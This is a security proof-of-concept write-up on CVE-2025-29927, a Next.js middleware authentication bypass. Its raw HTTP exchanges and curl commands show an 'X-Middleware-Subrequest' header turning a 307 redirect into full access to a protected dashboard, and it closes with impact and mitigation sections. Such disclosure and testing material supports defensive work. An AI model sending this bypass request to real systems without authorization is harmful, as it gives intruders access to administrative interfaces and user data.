Disclaimer
This PoC is intended for use in controlled environments with explicit permission. Unauthorized testing against systems you do not own or have consent to test is illegal and unethical.
Introduction
This security research demonstrates a critical vulnerability in middleware handling within web applications. The PoC illustrates how a specially crafted HTTP request can bypass redirection logic to access restricted content, such as administrative dashboards.
Table of Contents
Prerequisites
To follow this PoC, you'll need:
- A target server running a vulnerable configuration
- HTTP client tools like
curl, Burp Suite, or custom scripts - Basic knowledge of HTTP protocols and headers
- Understanding of middleware architectures
Vulnerability Overview
CVE ID: CVE-2025-29927
CVSS Score: 8.2 (High)
Vulnerability Type: Authentication Bypass / Access Control
Affected Components: Nginx + Next.js middleware configurations
This vulnerability exploits a middleware misconfiguration or logic flaw where adding a custom header (X-Middleware-Subrequest) alters the server's behavior, bypassing redirection mechanisms to access restricted content. This relates to how middleware processes subrequests or validates headers in the authentication flow.
Proof of Concept Steps
The PoC demonstrates two scenarios: an unsuccessful request followed by a successful bypass using a crafted header.
Step 1: Initial Request (Unsuccessful)
This step demonstrates the default server behavior when accessing the /dashboard endpoint without additional headers.
HTTP Request
GET /dashboard HTTP/1.1 Host: abc.com Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive
Server Response
HTTP/1.1 307 Temporary Redirect Server: nginx/1.14.1 Date: Sun, 23 Mar 2025 22:02:08 GMT Connection: keep-alive
Analysis
- Request: Standard GET request to
/dashboardwith typical browser headers - Response:
307 Temporary Redirectindicates protective mechanism preventing direct access - Server: Nginx/1.14.1 handling the redirection logic
- Behavior: Normal authentication flow redirecting to login page
Step 2: Modified Request (Successful Bypass)
This step introduces the custom header that successfully bypasses the redirection mechanism.
HTTP Request
GET /dashboard HTTP/1.1 Host: abc.com X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive
Server Response
HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 23 Mar 2025 22:04:04 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding X-Powered-By: Next.js Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate Content-Length: 30174
Critical Analysis
- Key Header:
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware - Success Response:
200 OKwith full dashboard content (30,174 bytes) - Framework:
X-Powered-By: Next.jsreveals the application stack - Exploit Mechanism: Custom header tricks middleware into treating request as legitimate subrequest
- Security Impact: Complete bypass of authentication/authorization controls
How to Replicate
Follow these steps to replicate the PoC using curl:
Step 1: Send Initial Request
curl -v "http://abc.com/dashboard" \ -H "Host: abc.com" \ -H "Accept-Language: en-US,en;q=0.9" \ -H "Upgrade-Insecure-Requests: 1" \ -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \ -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9" \ -H "Accept-Encoding: gzip, deflate, br" \ -H "Connection: keep-alive"
Expected: 307 Temporary Redirect response
Step 2: Send Bypass Request
curl -v "http://abc.com/dashboard" \ -H "Host: abc.com" \ -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \ -H "Accept-Language: en-US,en;q=0.9" \ -H "Upgrade-Insecure-Requests: 1" \ -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \ -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9" \ -H "Accept-Encoding: gzip, deflate, br" \ -H "Connection: keep-alive"
Expected: 200 OK with dashboard content
Security Impact
- Authentication Bypass: Complete circumvention of login mechanisms
- Unauthorized Access: Direct access to protected administrative interfaces
- Data Exposure: Potential access to sensitive user data and system information
- Privilege Escalation: Access to administrative functions without proper authorization
- Compliance Violations: May violate data protection regulations and security standards
Mitigation Recommendations
- Implement proper header validation in middleware configurations
- Review and harden Next.js middleware authentication logic
- Add input sanitization for custom HTTP headers
- Implement defense-in-depth authentication mechanisms
- Regular security audits of middleware configurations
- Update to latest versions of Nginx and Next.js frameworks
References
- CVE Details - Official CVE Database
- MDN HTTP Documentation
- Next.js Middleware Documentation
- OWASP Middleware Security Guide
- curl Manual and Usage Guide
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